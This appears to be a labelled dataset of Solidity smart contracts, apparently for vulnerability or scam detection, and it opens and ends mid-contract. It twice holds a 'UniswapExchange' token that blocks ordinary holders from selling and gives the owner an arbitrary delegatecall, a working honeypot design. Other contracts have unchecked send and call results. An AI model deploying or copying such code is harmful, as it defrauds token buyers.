event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 271 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 244 |
pragma solidity ^0.4.23;
contract ERC721 {
function approve(address _to, uint _tokenId) public;
function balanceOf(address _owner) public view returns (uint balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint _tokenId) public view returns (address addr);
function takeOwnership(uint _tokenId) public;
function totalSupply() public view returns (uint total);
function transferFrom(address _from, address _to, uint _tokenId) public;
function transfer(address _to, uint _tokenId) public;
event Transfer(address indexed from, address indexed to, uint tokenId);
event Approval(address indexed owner, address indexed approved, uint tokenId);
}
contract ZethrDividendCards is ERC721 {
using SafeMath for uint;
event Birth(uint tokenId, string name, address owner);
event TokenSold(uint tokenId, uint oldPrice, uint newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint tokenId);
string public constant NAME = "ZethrDividendCard";
string public constant SYMBOL = "ZDC";
address public BANKROLL;
mapping (uint => address) public divCardIndexToOwner;
mapping (uint => uint) public divCardRateToIndex;
mapping (address => uint) private ownershipDivCardCount;
mapping (uint => address) public divCardIndexToApproved;
mapping (uint => uint) private divCardIndexToPrice;
mapping (address => bool) internal administrators;
address public creator;
bool public onSale;
struct Card {
string name;
uint percentIncrease;
}
Card[] private divCards;
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
constructor (address _bankroll) public {
creator = msg.sender;
BANKROLL = _bankroll;
createDivCard("2%", 1 ether, 2);
divCardRateToIndex[2] = 0;
createDivCard("5%", 1 ether, 5);
divCardRateToIndex[5] = 1;
createDivCard("10%", 1 ether, 10);
divCardRateToIndex[10] = 2;
createDivCard("15%", 1 ether, 15);
divCardRateToIndex[15] = 3;
createDivCard("20%", 1 ether, 20);
divCardRateToIndex[20] = 4;
createDivCard("25%", 1 ether, 25);
divCardRateToIndex[25] = 5;
createDivCard("33%", 1 ether, 33);
divCardRateToIndex[33] = 6;
createDivCard("MASTER", 5 ether, 10);
divCardRateToIndex[999] = 7;
onSale = false;
administrators[0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae] = true;
administrators[0x11e52c75998fe2E7928B191bfc5B25937Ca16741] = true;
administrators[0x20C945800de43394F70D789874a4daC9cFA57451] = true;
administrators[0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB] = true;
}
modifier isNotContract()
{
require (msg.sender == tx.origin);
_;
}
modifier hasStarted()
{
require (onSale == true);
_;
}
modifier isAdmin()
{
require(administrators[msg.sender]);
_;
}
function setBankroll(address where)
isAdmin
{
BANKROLL = where;
}
function approve(address _to, uint _tokenId)
public
isNotContract
{
require(_owns(msg.sender, _tokenId));
divCardIndexToApproved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner)
public
view
returns (uint balance)
{
return ownershipDivCardCount[_owner];
}
function createDivCard(string _name, uint _price, uint _percentIncrease)
public
onlyCreator
{
_createDivCard(_name, BANKROLL, _price, _percentIncrease);
}
function startCardSale()
public
onlyCreator
{
onSale = true;
}
function getDivCard(uint _divCardId)
public
view
returns (string divCardName, uint sellingPrice, address owner)
{
Card storage divCard = divCards[_divCardId];
divCardName = divCard.name;
sellingPrice = divCardIndexToPrice[_divCardId];
owner = divCardIndexToOwner[_divCardId];
}
function implementsERC721()
public
pure
returns (bool)
{
return true;
}
function name()
public
pure
returns (string)
{
return NAME;
}
function ownerOf(uint _divCardId)
public
view
returns (address owner)
{
owner = divCardIndexToOwner[_divCardId];
require(owner != address(0));
return owner;
}
function purchase(uint _divCardId)
public
payable
hasStarted
isNotContract
{
address oldOwner = divCardIndexToOwner[_divCardId];
address newOwner = msg.sender;
uint currentPrice = divCardIndexToPrice[_divCardId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= currentPrice);
uint percentIncrease = divCards[_divCardId].percentIncrease;
uint previousPrice = SafeMath.mul(currentPrice, 100).div(100 + percentIncrease);
uint totalProfit = SafeMath.sub(currentPrice, previousPrice);
uint oldOwnerProfit = SafeMath.div(totalProfit, 2);
uint bankrollProfit = SafeMath.sub(totalProfit, oldOwnerProfit);
oldOwnerProfit = SafeMath.add(oldOwnerProfit, previousPrice);
uint purchaseExcess = SafeMath.sub(msg.value, currentPrice);
divCardIndexToPrice[_divCardId] = SafeMath.div(SafeMath.mul(currentPrice, (100 + percentIncrease)), 100);
_transfer(oldOwner, newOwner, _divCardId);
BANKROLL.send(bankrollProfit);
oldOwner.send(oldOwnerProfit);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint _divCardId)
public
view
returns (uint price)
{
return divCardIndexToPrice[_divCardId];
}
function setCreator(address _creator)
public
onlyCreator
{
require(_creator != address(0));
creator = _creator;
}
function symbol()
public
pure
returns (string)
{
return SYMBOL;
}
function takeOwnership(uint _divCardId)
public
isNotContract
{
address newOwner = msg.sender;
address oldOwner = divCardIndexToOwner[_divCardId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _divCardId));
_transfer(oldOwner, newOwner, _divCardId);
}
function totalSupply()
public
view
returns (uint total)
{
return divCards.length;
}
function transfer(address _to, uint _divCardId)
public
isNotContract
{
require(_owns(msg.sender, _divCardId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _divCardId);
}
function transferFrom(address _from, address _to, uint _divCardId)
public
isNotContract
{
require(_owns(_from, _divCardId));
require(_approved(_to, _divCardId));
require(_addressNotNull(_to));
_transfer(_from, _to, _divCardId);
}
function receiveDividends(uint _divCardRate)
public
payable
{
uint _divCardId = divCardRateToIndex[_divCardRate];
address _regularAddress = divCardIndexToOwner[_divCardId];
address _masterAddress = divCardIndexToOwner[7];
uint toMaster = msg.value.div(2);
uint toRegular = msg.value.sub(toMaster);
_masterAddress.send(toMaster);
_regularAddress.send(toRegular);
}
function _addressNotNull(address _to)
private
pure
returns (bool)
{
return _to != address(0);
}
function _approved(address _to, uint _divCardId)
private
view
returns (bool)
{
return divCardIndexToApproved[_divCardId] == _to;
}
function _createDivCard(string _name, address _owner, uint _price, uint _percentIncrease)
private
{
Card memory _divcard = Card({
name: _name,
percentIncrease: _percentIncrease
});
uint newCardId = divCards.push(_divcard) - 1;
require(newCardId == uint(uint32(newCardId)));
emit Birth(newCardId, _name, _owner);
divCardIndexToPrice[newCardId] = _price;
_transfer(BANKROLL, _owner, newCardId);
}
function _owns(address claimant, uint _divCardId)
private
view
returns (bool)
{
return claimant == divCardIndexToOwner[_divCardId];
}
function _transfer(address _from, address _to, uint _divCardId)
private
{
ownershipDivCardCount[_to]++;
divCardIndexToOwner[_divCardId] = _to;
if (_from != address(0)) {
ownershipDivCardCount[_from]--;
delete divCardIndexToApproved[_divCardId];
}
emit Transfer(_from, _to, _divCardId);
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
} | 0 | 2,032 |
pragma solidity ^0.4.24;
contract DAO {
function balanceOf(address addr) public returns (uint);
}
interface RegisterInterface {
function register(string);
}
contract Auth {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier auth {
require(isAuthorized(msg.sender) == true);
_;
}
function isAuthorized(address src) internal view returns (bool) {
if(src == owner){
return true;
} else {
return false;
}
}
}
contract TokenTimelock is Auth{
constructor() public {
benificiary = msg.sender;
}
uint constant public days_of_month = 30;
uint[] public dateArray;
uint public release_percent = 0;
mapping (uint => bool) public release_map;
uint256 public totalFutureRelease = 0;
address constant public contract_addr = 0x589891a198195061cb8ad1a75357a3b7dbadd7bc;
address public benificiary;
uint public startTime;
bool public lockStart = false;
function set_total(uint256 total) auth public {
require(lockStart == false);
totalFutureRelease = total;
}
function set_lock_info(int startMonth,int periods,int percent,int gap) auth public {
require(lockStart == false);
require(startMonth > 0);
require(periods > 0);
require(percent > 0);
require(gap > 0);
require(periods * percent == 100);
release_percent = uint(percent);
uint tmp = uint(startMonth);
delete dateArray;
for (int i = 0; i < periods; i++) {
dateArray.push(tmp * days_of_month);
tmp += uint(gap);
}
}
function lock(int offsetMinutes) auth public returns(bool) {
require(lockStart == false);
require(offsetMinutes >= 0);
for(uint i = 0; i < dateArray.length; i++) {
require(dateArray[i] != 0);
}
require(release_percent != 0);
require(totalFutureRelease != 0);
DAO cosTokenApi = DAO(contract_addr);
uint256 balance = cosTokenApi.balanceOf(address(this));
require(balance == totalFutureRelease);
startTime = block.timestamp + uint(offsetMinutes) * 1 minutes;
lockStart = true;
}
function set_benificiary(address b) auth public {
benificiary = b;
}
function release_specific(uint i) private {
if (release_map[i] == true) {
emit mapCheck(true,i);
return;
}
emit mapCheck(false,i);
DAO cosTokenApi = DAO(contract_addr);
uint256 balance = cosTokenApi.balanceOf(address(this));
uint256 eachRelease = 0;
eachRelease = (totalFutureRelease / 100) * release_percent;
bool ok = balance >= eachRelease;
emit balanceCheck(ok,balance);
require(balance >= eachRelease);
bool success = contract_addr.call(bytes4(keccak256("transfer(address,uint256)")),benificiary,eachRelease);
emit tokenTransfer(success);
require(success);
release_map[i] = true;
}
event mapCheck(bool ok,uint window);
event balanceCheck(bool ok,uint256 balance);
event tokenTransfer(bool success);
function release() auth public {
require(lockStart == true);
require(release_map[dateArray[dateArray.length-1]] == false);
uint theDay = dayFor();
for (uint i=0; i<dateArray.length;i++) {
if(theDay > dateArray[i]) {
release_specific(dateArray[i]);
}
}
}
function dayFor() view public returns (uint) {
uint timestamp = block.timestamp;
return timestamp < startTime ? 0 : (timestamp - startTime) / 1 days + 1;
}
function regist(string key) auth public {
RegisterInterface(contract_addr).register(key);
}
} | 1 | 4,402 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
